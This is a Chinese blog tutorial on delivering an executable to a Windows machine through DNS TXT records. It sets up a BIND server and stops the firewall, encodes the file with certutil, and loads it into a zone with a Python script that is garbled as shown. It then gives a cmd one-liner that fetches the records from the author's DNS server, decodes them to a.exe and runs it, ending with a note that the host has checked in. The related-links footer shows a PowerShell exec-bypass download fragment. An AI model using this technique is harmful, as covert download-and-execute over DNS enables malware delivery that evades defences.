文章目录

  • 1. 搭建dns服务器
  • 2. 将要下载的文件转化格式
  • 3. 将数据输入到dns服务器中
  • 4. 下载文件并执行
  • 5. 参考文章

因为udp包最大只有65535byte,所以:
只能传递66k以下的文件
只能传递66k以下的文件
只能传递66k以下的文件

1. 搭建dns服务器

yum -y update
yum -y install bind bind-chroot bind-utils
vim /etc/named.conf

并添加 forwarders { 8.8.8.8; };,最终如下:

修改/etc/named.rfc1912.zones文件

vim /etc/named.rfc1912.zones

我们直接复制一份 /var/named/ 目录下的 named.localhost ,使用 cp -a 会直接把对应的权限设置也一并 copy 给新文件 baidu.com.zone,然后编辑文件并添加数据。

cp -a /var/named/named.localhost /var/named/baidu.com.zone
vim /var/named/baidu.com.zone

然后启动dns服务并关闭防火墙:

systemctl start named
systemctl stop firewalld

然后再另一台主机上使用,192.168.171.141是刚才配置的dns服务器的ip:

nslookup -q=txt www.baidu.com 192.168.171.141

2. 将要下载的文件转化格式

首先将文件转化成二进制格式:

certutil -encode whoami.exe a.txt

用下面的脚本将生成的数据进行格式化,每一行前面加上"exec,结尾加上"

#!/usr/bin/env python
# -*- coding:utf-8 -*-
# author:Shanfenglan
# datetime:2021/12/13 9:55 PM
# In god's hands.b = ''
with open("1.txt","r") as f:for i in f:i = "\"exec"+i.strip()+"\""+"\n"b+=iwith open("2.txt","w+") as f:f.write(b)

更改后格式如下:

3. 将数据输入到dns服务器中

将上面的数据输入到括号中:

然后重启named服务:

4. 下载文件并执行

在windows机器上执行下面的命令:

cmd /v:on /Q /c "set a= && set b= && for /f "tokens=*" %i in ('nslookup -qt^=TXT www.baidu.com 192.168.171.141 ^| findstr "exec"') do (set a=%i && echo !a:~5,-2!)" > ttt.txt && certutil -decode ttt.txt a.exe && cmd /c a.exe


成功上线。

5. 参考文章

https://mp.weixin.qq.com/s/pxKmEO3_ljWSW7WhNQbSzQ

windows远程下载的新方案相关推荐

  1. windows远程下载

    文章目录 windows远程下载 windows远程下载 powershell -exec bypass -c (new-object System.Net.WebClient).downloadfi ...

  2. 巨控PLC远程下载调试最新方案

    巨控PLC远程下载调试最新方案 巨控李工:13247333261 核心技术之一:巨控远程下载机制 巨控李工:13247333261 巨控科技搭建了业内先进的PLC远程实验室,购买了市面上几乎全部主流的 ...

  3. 四章: CentOS6.5 配置连接Windows远程桌面、创建新用户、禁用root在本地或远程使用ssh登录

    1,配置连接Windows远程桌面 yum -y install freerdp xfreerdp -g 800x600 -u administrator 192.168.31.13 2,rz.sz ...

  4. windows远程连接linux-安装xfce界面,ubuntn添加新用户

    参考:" 使用xrdp实现windows 远程桌面连接linux"   http://blog.csdn.net/qq_33530388/article/details/64502 ...

  5. 如何用极路由新插件【搜狐视频】进行远程下载

    本文播放器家园网小编给大家分享如何用极路由新插件[搜狐视频]进行远程下载,如果大家在使用搜狐视频过程当中遇到类似问题,欢迎阅读本文!此外,在搜狐视频视频播放器上观看更流畅,画质更清晰,拒绝卡慢钝,而且 ...

  6. windows下安装wget进行远程下载

    windows下安装wget进行远程下载 学习记录: 1.下载wget安装包        https://jaist.dl.sourceforge.net/project/gnuwin32/wget ...

  7. Windows命令之bitsadmin.exe远程下载

    下载: (1)bitsadmin.exe本身被Windows系统支持,无需下载. 执行如下命令可下载http://127.0.0.1:8080/Down/test.txt至C:\Users\hao\D ...

  8. Windows下一键搭建MBP系统,支持多种版本任意选择,免费永久使用,多系统使用新方案

    Windows下一键搭建MBP系统,支持多种版本任意选择,免费永久使用,多系统使用新方案. 安装起来相当的简单,简单到只需要执行一行命令即可完成.使得游戏和开发可以兼顾,并且不用花费数万米的可以使用M ...

  9. Aria2远程下载方案部署(CentOS7+Aria+AriaNG+Nginx)

    操作系统为Centos7 aria2安装 首先安装最新的epel源 yum install epel-release 然后安装aria2 yum install aria2 配置aira2 mkdir ...

最新文章

  1. 注意力机制又一大作!DCANet:学习卷积神经网络的连接注意力
  2. Java模拟ATM运行过程(第一版)
  3. redis集群搭建及设置账户(转)
  4. 操作系统的运行机制和体系机构
  5. linux-mysql忘记密码解决办法-适用5.76
  6. arch_version(12) of input model should be 11!
  7. captcha must be filled out_直播行业这些英文单词,不知道你就out了
  8. 《恋上数据结构第1季》字典树 Trie
  9. jsp调用Python
  10. shell command cat/find/tr/mkdir
  11. 西门子主程序调用子程序_西门子S7-200系列PLC子程序的调用方法
  12. 海康视频WEB插件 V1.5.2 开发总结
  13. Android Studio+SDK+tools下载、安装、配置及应用程序运行(详细,亲测)
  14. 三步解决Tomcat假死状态
  15. 基于 O2O 视角的共享经济商业模式分析 ——以 ofo 共享单车为例
  16. Vue 添加组件和跳转
  17. Android自定义实现点赞效果!
  18. Linux常用命令——systemctl命令
  19. 摘自【北京迅为】itop-3568开发板快速启动手册 第二章 Windows安装串口终端
  20. 「数字电子技术基础」3.逻辑代数基础

热门文章

  1. 第十三周项目4—立体类族共有的抽象类
  2. ABPA 对文件的存取
  3. 在内容创作领域,为什么李筱懿如此成功?
  4. Elasticsearch7.x配置xpack实战
  5. 从底层结构开始学习FPGA----Xilinx 7 系列 FPGA 的逻辑优势
  6. 公司没大牛带,需要离职么?
  7. 【服务器搭建个人网站】教程二:快速搭建我们服务器 进来看
  8. 盗取QQ密码的Trojan.PSW.QQPass.rky正通过QQ信息中的网址传播
  9. Excel 数量统计
  10. 不要紧张,一切尽在掌握:应激源可控性的神经相关因素